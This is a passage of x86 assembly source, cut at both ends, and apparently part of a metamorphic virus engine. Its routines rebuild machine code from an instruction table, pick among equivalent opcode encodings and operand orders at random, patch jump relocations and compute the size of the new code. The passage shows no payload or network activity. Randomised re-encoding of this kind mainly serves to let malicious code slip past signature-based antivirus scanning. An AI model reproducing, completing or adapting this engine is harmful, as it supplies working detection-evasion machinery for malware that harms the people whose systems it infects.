dec ecx
|
|
or ecx, ecx
|
|
jnz @@Jcc_LoopLabel
|
|
@@Jcc_InsertLabel:
|
|
mov [edx], eax
|
|
mov [edx+4], ebx
|
|
push eax
|
|
mov eax, [ebx+0Bh]
|
|
and eax, 0FFFFFF00h
|
|
add eax, 1
|
|
mov [ebx+0Bh], eax
|
|
mov eax, [ebp+NumberOfLabels]
|
|
add eax, 1
|
|
mov [ebp+NumberOfLabels], eax
|
|
pop eax
|
|
@@Jcc_LabelStillExists:
|
|
ret
|
|
InsertLabel endp
|
|
|
|
|
|
GenOp_SetRegReg proc
|
|
push edx
|
|
mov edx, [edi]
|
|
and edx, 0FFFFFF00h
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 3Fh
|
|
jbe @@SRR_01
|
|
cmp eax, 85h
|
|
jbe @@SRR_02
|
|
cmp eax, 8Bh
|
|
jbe @@SRR_04
|
|
@@SRR_01: and eax, 38h
|
|
add eax, 1
|
|
@@SRR_Store:
|
|
add eax, edx
|
|
mov [edi], eax
|
|
pop edx
|
|
ret
|
|
@@SRR_02: mov eax, 48h+1
|
|
jmp @@SRR_Store
|
|
|
|
@@SRR_04: mov eax, 40h+1
|
|
jmp @@SRR_Store
|
|
GenOp_SetRegReg endp
|
|
|
|
;---------------------------------------------------------------------------------------
|
|
|
|
AssembleCode proc
|
|
xor eax, eax
|
|
mov [ebp+NumberOfJumpRelocations], eax
|
|
|
|
mov esi, [ebp+InstructionTable]
|
|
mov edi, [ebp+NewAssembledCode]
|
|
|
|
mov ecx, [ebp+NumberOfLabels]
|
|
mov edx, [ebp+LabelTable]
|
|
@@LoopSetLabel:
|
|
mov ebx, [edx+4]
|
|
mov eax, [ebx+0Bh]
|
|
or eax, 01h
|
|
mov [ebx+0Bh], eax
|
|
add edx, 8
|
|
dec ecx
|
|
or ecx, ecx
|
|
jnz @@LoopSetLabel
|
|
|
|
@@LoopAssemble_01:
|
|
mov eax, [esi+0Bh]
|
|
and eax, 0FFh
|
|
cmp eax, 1
|
|
jnz @@Assemble_Instruction
|
|
mov eax, [ebp+NumberOfLabels]
|
|
mov edx, [ebp+LabelTable]
|
|
@@LoopCheckLabel:
|
|
cmp [edx+4], esi
|
|
jnz @@CheckNextLabel
|
|
mov [edx], edi
|
|
@@CheckNextLabel:
|
|
add edx, 8
|
|
dec eax
|
|
or eax, eax
|
|
jnz @@LoopCheckLabel
|
|
@@Assemble_Instruction:
|
|
call AssembleInstruction
|
|
add esi, 10h
|
|
mov eax, [ebp+AddressOfLastInstruction]
|
|
cmp esi, eax
|
|
jb @@LoopAssemble_01
|
|
mov [ebp+AddressOfLastInstruction], edi
|
|
|
|
mov eax, edi
|
|
sub eax, [ebp+NewAssembledCode]
|
|
mov [ebp+SizeOfNewCode], eax
|
|
add eax, 20h
|
|
|
|
mov ebx, 0F000h
|
|
@@LoopGetRoundedSize:
|
|
add ebx, 1000h
|
|
cmp ebx, eax
|
|
jb @@LoopGetRoundedSize
|
|
mov [ebp+RoundedSizeOfNewCode], ebx
|
|
|
|
mov eax, 4000h
|
|
@@LoopGetSizeP2:
|
|
shl eax, 1
|
|
cmp eax, [ebp+SizeOfNewCode]
|
|
jb @@LoopGetSizeP2
|
|
mov [ebp+SizeOfNewCodeP2], eax
|
|
|
|
|
|
mov esi, [ebp+JumpRelocationTable]
|
|
mov ecx, [ebp+NumberOfJumpRelocations]
|
|
|
|
@@LoopReloc01:
|
|
mov edi, [esi]
|
|
mov eax, [esi+4]
|
|
mov eax, [eax]
|
|
mov edx, edi
|
|
add edx, 5
|
|
sub eax, edx
|
|
mov ebx, [edi]
|
|
and ebx, 0FFh
|
|
cmp ebx, 7Fh
|
|
jbe @@Short
|
|
cmp ebx, 0EBh
|
|
jz @@Short
|
|
mov [edi+1], eax
|
|
@@Next: sub ecx, 8
|
|
add esi, 8
|
|
or ecx, ecx
|
|
jnz @@LoopReloc01
|
|
ret
|
|
@@Short: add eax, 3
|
|
|
|
mov [edi+1], al
|
|
jmp @@Next
|
|
AssembleCode endp
|
|
|
|
|
|
Asm_AddToRelocTable proc
|
|
mov ebx, [ebp+JumpRelocationTable]
|
|
mov ecx, [ebp+NumberOfJumpRelocations]
|
|
add ebx, ecx
|
|
mov [ebx], edi
|
|
mov eax, [esi+1]
|
|
mov [ebx+4], eax
|
|
add ecx, 8
|
|
mov [ebp+NumberOfJumpRelocations], ecx
|
|
ret
|
|
Asm_AddToRelocTable endp
|
|
|
|
|
|
Asm_MakeMemoryAddress proc
|
|
mov ecx, [esi+1]
|
|
and ecx, 0FFh
|
|
mov eax, [esi+2]
|
|
and eax, 0FFh
|
|
cmp eax, ecx
|
|
jae @@Next00
|
|
mov edx, eax
|
|
jmp @@Next01
|
|
@@Next00: mov edx, ecx
|
|
mov ecx, eax
|
|
|
|
|
|
@@Next01: cmp edx, 8
|
|
jz @@NoIndex1
|
|
cmp ecx, 8
|
|
jz @@Only1Index
|
|
cmp ecx, 7
|
|
ja @@NoExchange
|
|
call Random
|
|
and eax, 1
|
|
jz @@NoExchange
|
|
mov eax, ecx
|
|
mov ecx, edx
|
|
mov edx, eax
|
|
@@NoExchange:
|
|
mov eax, [esi+3]
|
|
or eax, eax
|
|
jz @@2Index_0
|
|
cmp eax, 7Fh
|
|
jbe @@2Index_Byte
|
|
cmp eax, 0FFFFFF80h
|
|
jae @@2Index_Byte
|
|
@@2Index_Dword:
|
|
mov eax, 84h
|
|
@@2Index_Dword_Subr:
|
|
push eax
|
|
mov eax, ecx
|
|
and eax, 0C0h
|
|
shl ecx, 3
|
|
and ecx, 38h
|
|
add eax, ecx
|
|
add edx, eax
|
|
pop eax
|
|
jmp @@SetMemory01
|
|
@@2Index_Byte:
|
|
call Random
|
|
and eax, 1
|
|
jz @@2Index_Dword
|
|
mov eax, 44h
|
|
call @@2Index_Dword_Subr
|
|
sub edi, 3
|
|
ret
|
|
@@2Index_0:
|
|
call Random
|
|
and eax, 1
|
|
jz @@2Index_Byte
|
|
cmp edx, 5
|
|
jz @@2Index_Byte
|
|
mov eax, 04h
|
|
call @@2Index_Dword_Subr
|
|
sub edi, 4
|
|
ret
|
|
|
|
@@Only1Index:
|
|
|
|
mov eax, [esi+3]
|
|
or eax, eax
|
|
jz @@Only1Index_0
|
|
cmp eax, 7Fh
|
|
jbe @@Only1Index_Byte
|
|
cmp eax, 0FFFFFF80h
|
|
jae @@Only1Index_Byte
|
|
@@Only1Index_Dword:
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz @@Only1Index_Dword
|
|
cmp eax, 1
|
|
jz @@Only1Index_Dword_01
|
|
cmp eax, 2
|
|
jz @@Only1Index_Dword_02
|
|
@@Only1Index_Dword_03:
|
|
mov eax, 84h
|
|
add edx, 20h
|
|
jmp @@SetMemory01
|
|
@@Only1Index_Dword_02:
|
|
mov eax, 04h
|
|
shl edx, 3
|
|
add edx, 5
|
|
jmp @@SetMemory01
|
|
@@Only1Index_Dword_01:
|
|
add edx, 80h
|
|
add edx, ebx
|
|
mov [edi], edx
|
|
mov eax, [esi+3]
|
|
mov [edi+1], eax
|
|
add edi, 5
|
|
ret
|
|
@@Only1Index_Byte:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Only1Index_Dword
|
|
call Random
|
|
and eax, 1
|
|
jz @@Only1Index_Byte_01
|
|
@@Only1Index_Byte_02:
|
|
mov eax, 44h
|
|
add eax, ebx
|
|
mov [edi], eax
|
|
add edx, 20h
|
|
mov [edi+1], edx
|
|
mov eax, [esi+3]
|
|
mov [edi+2], eax
|
|
add edi, 3
|
|
ret
|
|
@@Only1Index_Byte_01:
|
|
add edx, 40h
|
|
add edx, ebx
|
|
mov [edi], edx
|
|
mov eax, [esi+3]
|
|
mov [edi+1], eax
|
|
add edi, 2
|
|
ret
|
|
@@Only1Index_0:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Only1Index_Byte
|
|
cmp edx, 5
|
|
jz @@Only1Index_Byte
|
|
add edx, ebx
|
|
mov [edi], edx
|
|
add edi, 1
|
|
ret
|
|
|
|
@@NoIndex1: cmp ecx, 8
|
|
jz @@DirectAddress
|
|
mov edx, ecx
|
|
and edx, 0C0h
|
|
and ecx, 7
|
|
shl ecx, 3
|
|
add edx, ecx
|
|
add edx, 5
|
|
mov eax, 4
|
|
@@SetMemory01:
|
|
add eax, ebx
|
|
mov [edi], eax
|
|
mov [edi+1], edx
|
|
mov eax, [esi+3]
|
|
mov [edi+2], eax
|
|
add edi, 6
|
|
ret
|
|
@@DirectAddress:
|
|
mov eax, 05h
|
|
add eax, ebx
|
|
mov [edi], eax
|
|
mov eax, [esi+3]
|
|
mov [edi+1], eax
|
|
add edi, 5
|
|
ret
|
|
Asm_MakeMemoryAddress endp
|
|
|
|
|
|
AssembleInstruction proc
|
|
mov [esi+0Ch], edi
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 4Ch
|
|
ja @@Assemble_Next00
|
|
mov ebx, eax
|
|
and ebx, 0F8h
|
|
and eax, 7
|
|
or eax, eax
|
|
jz @@Assemble_OPRegImm
|
|
cmp eax, 1
|
|
jz @@Assemble_OPRegReg
|
|
cmp eax, 2
|
|
jz @@Assemble_OPRegMem
|
|
cmp eax, 3
|
|
jz @@Assemble_OPMemReg
|
|
@@Assemble_OPMemImm:
|
|
cmp ebx, 38h
|
|
jbe @@Assemble_OPMemImm_Normal
|
|
cmp ebx, 40h
|
|
jz @@Assemble_MOVMemImm
|
|
@@Assemble_TESTMemImm:
|
|
xor ebx, ebx
|
|
mov eax, 0F7h
|
|
jmp @@Assemble_OPMemImm_Normal_00
|
|
@@Assemble_MOVMemImm:
|
|
xor ebx, ebx
|
|
mov eax, 0C7h
|
|
jmp @@Assemble_OPMemImm_Normal_00
|
|
@@Assemble_OPMemImm_Normal:
|
|
mov eax, [esi+7]
|
|
cmp eax, 7Fh
|
|
jbe @@Assemble_OPMemImm_Normal_Byte
|
|
cmp eax, 0FFFFFF80h
|
|
jae @@Assemble_OPMemImm_Normal_Byte
|
|
@@Assemble_OPMemImm_Normal_Dword:
|
|
mov eax, 81h
|
|
@@Assemble_OPMemImm_Normal_00:
|
|
mov [edi], eax
|
|
add edi, 1
|
|
call Asm_MakeMemoryAddress
|
|
mov eax, [esi+7]
|
|
mov [edi], eax
|
|
add edi, 4
|
|
ret
|
|
@@Assemble_OPMemImm_Normal_Byte:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_OPMemImm_Normal_Dword
|
|
mov eax, 83h
|
|
mov [edi], eax
|
|
add edi, 1
|
|
call Asm_MakeMemoryAddress
|
|
mov eax, [esi+7]
|
|
mov [edi], eax
|
|
add edi, 1
|
|
ret
|
|
|
|
|
|
@@Assemble_OPRegImm:
|
|
cmp ebx, 38h
|
|
jbe @@Assemble_OPRegImm_Normal
|
|
cmp ebx, 40h
|
|
jz @@Assemble_MOVRegImm
|
|
@@Assemble_TESTRegImm:
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
or eax, eax
|
|
jnz @@Assemble_TESTRegImm_NotEAX
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_TESTRegImm_NotEAX
|
|
mov eax, 0A9h
|
|
jmp @@Assemble_OPRegImm_OneByteOpcode
|
|
@@Assemble_TESTRegImm_NotEAX:
|
|
mov eax, 0F7h
|
|
xor ebx, ebx
|
|
jmp @@Assemble_OPRegImm_Normal_01
|
|
|
|
|
|
@@Assemble_MOVRegImm:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_MOVRegImm_OneByteOpcode
|
|
mov eax, 0C7h
|
|
xor ebx, ebx
|
|
jmp @@Assemble_OPRegImm_Normal_01
|
|
@@Assemble_MOVRegImm_OneByteOpcode:
|
|
mov eax, [esi+1]
|
|
add eax, 0B8h
|
|
jmp @@Assemble_OPRegImm_OneByteOpcode
|
|
@@Assemble_OPRegImm_Normal:
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
or eax, eax
|
|
jnz @@Assemble_OPRegImm_Normal_00
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_OPRegImm_Normal_00
|
|
mov eax, ebx
|
|
add eax, 5
|
|
@@Assemble_OPRegImm_OneByteOpcode:
|
|
mov [edi], eax
|
|
mov eax, [esi+7]
|
|
mov [edi+1], eax
|
|
add edi, 5
|
|
ret
|
|
|
|
@@Assemble_OPRegImm_Normal_00:
|
|
mov eax, 81h
|
|
@@Assemble_OPRegImm_Normal_01:
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
add eax, 0C0h
|
|
add eax, ebx
|
|
mov [edi+1], eax
|
|
mov eax, [esi+7]
|
|
mov [edi+2], eax
|
|
add edi, 6
|
|
ret
|
|
|
|
@@Assemble_OPRegReg:
|
|
cmp ebx, 38h
|
|
jbe @@Assemble_OPRegReg_Normal
|
|
cmp ebx, 40h
|
|
jz @@Assemble_MOVRegReg
|
|
@@Assemble_TESTRegReg:
|
|
mov ebx, 85h
|
|
@@Assemble_TEST8RegReg_00:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_OPRegReg_NextFF
|
|
jmp @@Assemble_OPRegReg_Inversed_2
|
|
|
|
@@Assemble_MOVRegReg:
|
|
mov ebx, 88h
|
|
@@Assemble_OPRegReg_Normal:
|
|
add ebx, 1
|
|
@@Assemble_OP8RegReg_Normal:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_OPRegReg_Inversed
|
|
@@Assemble_OPRegReg_NextFF:
|
|
mov ecx, [esi+1]
|
|
mov edx, [esi+7]
|
|
jmp @@Assemble_OPRegReg_Next00
|
|
@@Assemble_OPRegReg_Inversed:
|
|
add ebx, 2
|
|
@@Assemble_OPRegReg_Inversed_2:
|
|
mov ecx, [esi+7]
|
|
mov edx, [esi+1]
|
|
@@Assemble_OPRegReg_Next00:
|
|
mov [edi], ebx
|
|
mov eax, ecx
|
|
shl eax, 3
|
|
add eax, 0C0h
|
|
add eax, edx
|
|
mov [edi+1], eax
|
|
add edi, 2
|
|
ret
|
|
|
|
@@Assemble_OPRegMem:
|
|
cmp ebx, 38h
|
|
jbe @@Assemble_OPRegMem_Normal
|
|
cmp ebx, 40h
|
|
jz @@Assemble_MOVRegMem
|
|
@@Assemble_TESTRegMem:
|
|
mov ebx, 85h
|
|
jmp @@Assemble_OPRegMem_Normal_00
|
|
@@Assemble_MOVRegMem:
|
|
mov ebx, 88h
|
|
@@Assemble_OPRegMem_Normal:
|
|
add ebx, 3
|
|
@@Assemble_OPRegMem_Normal_00:
|
|
mov [edi], ebx
|
|
add edi, 1
|
|
mov ebx, [esi+7]
|
|
and ebx, 7
|
|
shl ebx, 3
|
|
call Asm_MakeMemoryAddress
|
|
ret
|
|
|
|
@@Assemble_OPMemReg:
|
|
cmp ebx, 38h
|
|
jbe @@Assemble_OPMemReg_Normal
|
|
cmp ebx, 40h
|
|
jnz @@Assemble_TESTRegMem
|
|
@@Assemble_MOVMemReg:
|
|
mov ebx, 88h
|
|
@@Assemble_OPMemReg_Normal:
|
|
add ebx, 1
|
|
jmp @@Assemble_OPRegMem_Normal_00
|
|
|
|
@@Assemble_INCDECReg:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_INCDECReg_2
|
|
@@Assemble_INCDECReg_1:
|
|
mov eax, [esi+7]
|
|
add eax, 40h
|
|
@@Assemble_INCDECReg_Common:
|
|
add eax, [esi+1]
|
|
mov [edi], eax
|
|
add edi, 1
|
|
ret
|
|
@@Assemble_INCDECReg_2:
|
|
mov eax, 0FFh
|
|
@@Assemble_INCDECReg_2_8b:
|
|
mov [edi], eax
|
|
add edi, 1
|
|
mov eax, [esi+7]
|
|
add eax, 0C0h
|
|
jmp @@Assemble_INCDECReg_Common
|
|
@@Assemble_INCDECReg_8b:
|
|
mov eax, 0FEh
|
|
jmp @@Assemble_INCDECReg_2_8b
|
|
|
|
@@Assemble_INCDECMem:
|
|
mov eax, 0FFh
|
|
@@Assemble_INCDECMem_2_8b:
|
|
mov [edi], eax
|
|
add edi, 1
|
|
mov ebx, [esi+7]
|
|
call Asm_MakeMemoryAddress
|
|
ret
|
|
@@Assemble_INCDECMem_8b:
|
|
mov eax, 0FEh
|
|
jmp @@Assemble_INCDECMem_2_8b
|
|
|
|
|
|
@@Assemble_Next00:
|
|
cmp eax, 4Eh
|
|
jz @@Assemble_INCDECReg
|
|
cmp eax, 4Eh+80h
|
|
jz @@Assemble_INCDECReg_8b
|
|
cmp eax, 4Fh
|
|
jz @@Assemble_INCDECMem
|
|
cmp eax, 4Fh+80h
|
|
jz @@Assemble_INCDECMem_8b
|
|
|
|
|
|
@@Assemble_Next00_:
|
|
cmp eax, 00h+80h
|
|
jb @@Assemble_Next01
|
|
cmp eax, 4Ch+80h
|
|
ja @@Assemble_Next01
|
|
mov ebx, eax
|
|
and ebx, 78h
|
|
and eax, 7
|
|
or eax, eax
|
|
jz @@Assemble_OP8RegImm
|
|
cmp eax, 1
|
|
jz @@Assemble_OP8RegReg
|
|
cmp eax, 2
|
|
jz @@Assemble_OP8RegMem
|
|
cmp eax, 3
|
|
jz @@Assemble_OP8MemReg
|
|
@@Assemble_OP8MemImm:
|
|
cmp ebx, 38h
|
|
jbe @@Assemble_OP8MemImm_Normal
|
|
cmp ebx, 40h
|
|
jz @@Assemble_MOV8MemImm
|
|
@@Assemble_TEST8MemImm:
|
|
xor ebx, ebx
|
|
mov eax, 0F6h
|
|
call @@Assemble_OPMemImm_Normal_00
|
|
sub edi, 3
|
|
ret
|
|
@@Assemble_MOV8MemImm:
|
|
xor ebx, ebx
|
|
mov eax, 0C6h
|
|
call @@Assemble_OPMemImm_Normal_00
|
|
sub edi, 3
|
|
ret
|
|
@@Assemble_OP8MemImm_Normal:
|
|
call Random
|
|
and eax, 2
|
|
add eax, 80h
|
|
call @@Assemble_OPMemImm_Normal_00
|
|
sub edi, 3
|
|
ret
|
|
|
|
@@Assemble_OP8RegImm:
|
|
cmp ebx, 38h
|
|
jbe @@Assemble_OP8RegImm_Normal
|
|
cmp ebx, 40h
|
|
jz @@Assemble_MOV8RegImm
|
|
@@Assemble_TEST8RegImm:
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
or eax, eax
|
|
jnz @@Assemble_TEST8RegImm_NotEAX
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_TEST8RegImm_NotEAX
|
|
mov eax, 0A8h
|
|
call @@Assemble_OPRegImm_OneByteOpcode
|
|
sub edi, 3
|
|
ret
|
|
@@Assemble_TEST8RegImm_NotEAX:
|
|
mov eax, 0F6h
|
|
xor ebx, ebx
|
|
call @@Assemble_OPRegImm_Normal_01
|
|
sub edi, 3
|
|
ret
|
|
@@Assemble_MOV8RegImm:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_MOV8RegImm_OneByteOpcode
|
|
mov eax, 0C6h
|
|
xor ebx, ebx
|
|
call @@Assemble_OPRegImm_Normal_01
|
|
sub edi, 3
|
|
ret
|
|
@@Assemble_MOV8RegImm_OneByteOpcode:
|
|
mov eax, [esi+1]
|
|
add eax, 0B0h
|
|
call @@Assemble_OPRegImm_OneByteOpcode
|
|
sub edi, 3
|
|
ret
|
|
@@Assemble_OP8RegImm_Normal:
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
or eax, eax
|
|
jnz @@Assemble_OP8RegImm_Normal_00
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_OP8RegImm_Normal_00
|
|
mov eax, ebx
|
|
add eax, 4
|
|
call @@Assemble_OPRegImm_OneByteOpcode
|
|
sub edi, 3
|
|
ret
|
|
@@Assemble_OP8RegImm_Normal_00:
|
|
call Random
|
|
and eax, 2
|
|
add eax, 80h
|
|
call @@Assemble_OPRegImm_Normal_01
|
|
sub edi, 3
|
|
ret
|
|
|
|
@@Assemble_OP8RegReg:
|
|
cmp ebx, 38h
|
|
jbe @@Assemble_OP8RegReg_Normal
|
|
cmp ebx, 40h
|
|
jz @@Assemble_MOV8RegReg
|
|
@@Assemble_TEST8RegReg:
|
|
mov ebx, 84h
|
|
jmp @@Assemble_TEST8RegReg_00
|
|
@@Assemble_MOV8RegReg:
|
|
mov ebx, 88h
|
|
jmp @@Assemble_OP8RegReg_Normal
|
|
|
|
|
|
@@Assemble_OP8RegMem:
|
|
cmp ebx, 38h
|
|
jbe @@Assemble_OP8RegMem_Normal
|
|
cmp ebx, 40h
|
|
jz @@Assemble_MOV8RegMem
|
|
@@Assemble_TEST8RegMem:
|
|
mov ebx, 84h
|
|
jmp @@Assemble_OPRegMem_Normal_00
|
|
@@Assemble_MOV8RegMem:
|
|
mov ebx, 88h
|
|
@@Assemble_OP8RegMem_Normal:
|
|
add ebx, 2
|
|
jmp @@Assemble_OPRegMem_Normal_00
|
|
|
|
|
|
@@Assemble_OP8MemReg:
|
|
cmp ebx, 38h
|
|
jbe @@Assemble_OPRegMem_Normal_00
|
|
cmp ebx, 40h
|
|
jnz @@Assemble_TEST8RegMem
|
|
@@Assemble_MOV8MemReg:
|
|
mov ebx, 88h
|
|
jmp @@Assemble_OPRegMem_Normal_00
|
|
|
|
@@Assemble_Next01:
|
|
cmp eax, 50h
|
|
jnz @@Assemble_Next02
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_PUSHReg_2
|
|
@@Assemble_PUSHReg_1:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
mov ebx, [esi+1]
|
|
add eax, ebx
|
|
@@Assemble_StoreByte:
|
|
mov [edi], eax
|
|
add edi, 1
|
|
ret
|
|
@@Assemble_PUSHReg_2:
|
|
mov eax, 0FFh
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
add eax, 0F0h
|
|
mov [edi+1], eax
|
|
add edi, 2
|
|
ret
|
|
|
|
@@Assemble_Next02:
|
|
cmp eax, 58h
|
|
jnz @@Assemble_Next03
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_PUSHReg_1
|
|
@@Assemble_POPReg_2:
|
|
mov eax, 8Fh
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
add eax, 0C0h
|
|
mov [edi+1], eax
|
|
add edi, 2
|
|
ret
|
|
|
|
@@Assemble_Next03:
|
|
cmp eax, 51h
|
|
jnz @@Assemble_Next04
|
|
mov eax, 0FFh
|
|
mov ebx, 30h
|
|
@@Assemble_POPMem:
|
|
mov [edi], eax
|
|
add edi, 1
|
|
call Asm_MakeMemoryAddress
|
|
ret
|
|
|
|
@@Assemble_Next04:
|
|
cmp eax, 59h
|
|
jnz @@Assemble_Next05
|
|
mov eax, 8Fh
|
|
xor ebx, ebx
|
|
jmp @@Assemble_POPMem
|
|
|
|
|
|
@@Assemble_Next05:
|
|
cmp eax, 68h
|
|
jnz @@Assemble_Next06
|
|
mov [edi], eax
|
|
mov eax, [esi+7]
|
|
cmp eax, 7Fh
|
|
jbe @@Assemble_PUSHImm_Byte
|
|
cmp eax, 0FFFFFF80h
|
|
jae @@Assemble_PUSHImm_Byte
|
|
@@Assemble_PUSHImm_Dword:
|
|
mov [edi+1], eax
|
|
add edi, 5
|
|
ret
|
|
@@Assemble_PUSHImm_Byte:
|
|
push eax
|
|
call Random
|
|
and eax, 1
|
|
pop eax
|
|
or ebx, ebx
|
|
jz @@Assemble_PUSHImm_Dword
|
|
mov ebx, 6Ah
|
|
mov [edi], ebx
|
|
mov [edi+1], eax
|
|
add edi, 2
|
|
ret
|
|
|
|
@@Assemble_Next06:
|
|
cmp eax, 0E0h
|
|
jnz @@Assemble_Next07
|
|
mov ebx, 0D0h
|
|
@@Assemble_NEG32Reg:
|
|
mov eax, 0F7h
|
|
@@Assemble_Nxx8Reg:
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
add eax, ebx
|
|
mov [edi+1], eax
|
|
add edi, 2
|
|
ret
|
|
|
|
@@Assemble_Next07:
|
|
cmp eax, 0E4h
|
|
jnz @@Assemble_Next08
|
|
mov ebx, 0D8h
|
|
jmp @@Assemble_NEG32Reg
|
|
|
|
@@Assemble_Next08:
|
|
cmp eax, 0E2h
|
|
jnz @@Assemble_Next09
|
|
mov ebx, 0D0h
|
|
@@Assemble_NEG8Reg:
|
|
mov eax, 0F6h
|
|
jmp @@Assemble_Nxx8Reg
|
|
|
|
@@Assemble_Next09:
|
|
cmp eax, 0E6h
|
|
jnz @@Assemble_Next10
|
|
mov ebx, 0D8h
|
|
jmp @@Assemble_NEG8Reg
|
|
|
|
|
|
@@Assemble_Next10:
|
|
cmp eax, 0E1h
|
|
jnz @@Assemble_Next11
|
|
mov ebx, 10h
|
|
@@Assemble_NEG32Mem:
|
|
mov eax, 0F7h
|
|
@@Assemble_Nxx8Mem:
|
|
mov [edi], eax
|
|
add edi, 1
|
|
call Asm_MakeMemoryAddress
|
|
ret
|
|
|
|
@@Assemble_Next11:
|
|
cmp eax, 0E5h
|
|
jnz @@Assemble_Next12
|
|
mov ebx, 18h
|
|
jmp @@Assemble_NEG32Mem
|
|
|
|
@@Assemble_Next12:
|
|
cmp eax, 0E3h
|
|
jnz @@Assemble_Next13
|
|
mov ebx, 10h
|
|
@@Assemble_NEG8Mem:
|
|
mov eax, 0F6h
|
|
jmp @@Assemble_Nxx8Mem
|
|
|
|
@@Assemble_Next13:
|
|
cmp eax, 0E7h
|
|
jnz @@Assemble_Next14
|
|
mov ebx, 18h
|
|
jmp @@Assemble_NEG8Mem
|
|
|
|
@@Assemble_Next14:
|
|
cmp eax, 0EAh
|
|
jnz @@Assemble_Next15
|
|
mov eax, 0FFh
|
|
mov ebx, 10h
|
|
jmp @@Assemble_Nxx8Mem
|
|
|
|
@@Assemble_Next15:
|
|
cmp eax, 0EBh
|
|
jnz @@Assemble_Next16
|
|
mov eax, 0FFh
|
|
mov ebx, 20h
|
|
jmp @@Assemble_Nxx8Mem
|
|
|
|
@@Assemble_Next16:
|
|
cmp eax, 0ECh
|
|
jnz @@Assemble_Next17
|
|
mov eax, 0FFh
|
|
mov ebx, 0D0h
|
|
jmp @@Assemble_Nxx8Reg
|
|
|
|
|
|
|
|
@@Assemble_Next17:
|
|
cmp eax, 0EDh
|
|
jnz @@Assemble_Next18
|
|
mov eax, 0FFh
|
|
mov ebx, 0E0h
|
|
jmp @@Assemble_Nxx8Reg
|
|
|
|
|
|
@@Assemble_Next18:
|
|
cmp eax, 0F0h
|
|
jnz @@Assemble_Next19
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
cmp eax, 1
|
|
jz @@Assemble_SHIFT_1
|
|
@@Assemble_SHIFT_2:
|
|
mov ecx, 0C1h
|
|
mov edx, 0E0h
|
|
@@Assemble_SHIFT8_1_00:
|
|
call @@Assemble_SHIFT_x
|
|
mov ebx, [esi+7]
|
|
and ebx, 0FFh
|
|
call Random
|
|
and eax, edx
|
|
add eax, ebx
|
|
mov [edi], eax
|
|
add edi, 1
|
|
ret
|
|
@@Assemble_SHIFT_1:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_SHIFT_2
|
|
mov ecx, 0D1h
|
|
@@Assemble_SHIFT_x:
|
|
mov [edi], ecx
|
|
add edi, 1
|
|
mov ebx, [esi+8]
|
|
and ebx, 8
|
|
add ebx, 0C0h
|
|
call Random
|
|
and eax, 20h
|
|
add ebx, eax
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
add eax, ebx
|
|
mov [edi], eax
|
|
add edi, 1
|
|
ret
|
|
|
|
@@Assemble_Next19:
|
|
cmp eax, 0F2h
|
|
jnz @@Assemble_Next20
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
cmp eax, 1
|
|
jz @@Assemble_SHIFT8_1
|
|
@@Assemble_SHIFT8_2:
|
|
mov ecx, 0C0h
|
|
xor edx, edx
|
|
jmp @@Assemble_SHIFT8_1_00
|
|
@@Assemble_SHIFT8_1:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_SHIFT8_2
|
|
mov ecx, 0D0h
|
|
jmp @@Assemble_SHIFT_x
|
|
|
|
|
|
@@Assemble_Next20:
|
|
cmp eax, 0F1h
|
|
jnz @@Assemble_Next21
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
cmp eax, 1
|
|
jz @@Assemble_SHIFTMem_1
|
|
@@Assemble_SHIFTMem_2:
|
|
mov ecx, 0C1h
|
|
mov edx, 0E0h
|
|
@@Assemble_SHIFT8Mem_1_00:
|
|
push edx
|
|
call @@Assemble_SHIFTMem_x
|
|
pop edx
|
|
mov ebx, [esi+7]
|
|
and ebx, 0FFh
|
|
call Random
|
|
and eax, edx
|
|
add eax, ebx
|
|
mov [edi], eax
|
|
add edi, 1
|
|
ret
|
|
@@Assemble_SHIFTMem_1:
|
|
call Random
|
|
or eax, eax
|
|
jz @@Assemble_SHIFTMem_2
|
|
mov ecx, 0D1h
|
|
@@Assemble_SHIFTMem_x:
|
|
mov [edi], ecx
|
|
add edi, 1
|
|
mov ebx, [esi+8]
|
|
and ebx, 8
|
|
call Random
|
|
and eax, 20h
|
|
add ebx, eax
|
|
call Asm_MakeMemoryAddress
|
|
ret
|
|
|
|
@@Assemble_Next21:
|
|
cmp eax, 0F3h
|
|
jnz @@Assemble_Next22
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
cmp eax, 1
|
|
jz @@Assemble_SHIFT8Mem_1
|
|
@@Assemble_SHIFT8Mem_2:
|
|
mov ecx, 0C0h
|
|
xor edx, edx
|
|
jmp @@Assemble_SHIFT8Mem_1_00
|
|
@@Assemble_SHIFT8Mem_1:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Assemble_SHIFT8Mem_2
|
|
mov ecx, 0D0h
|
|
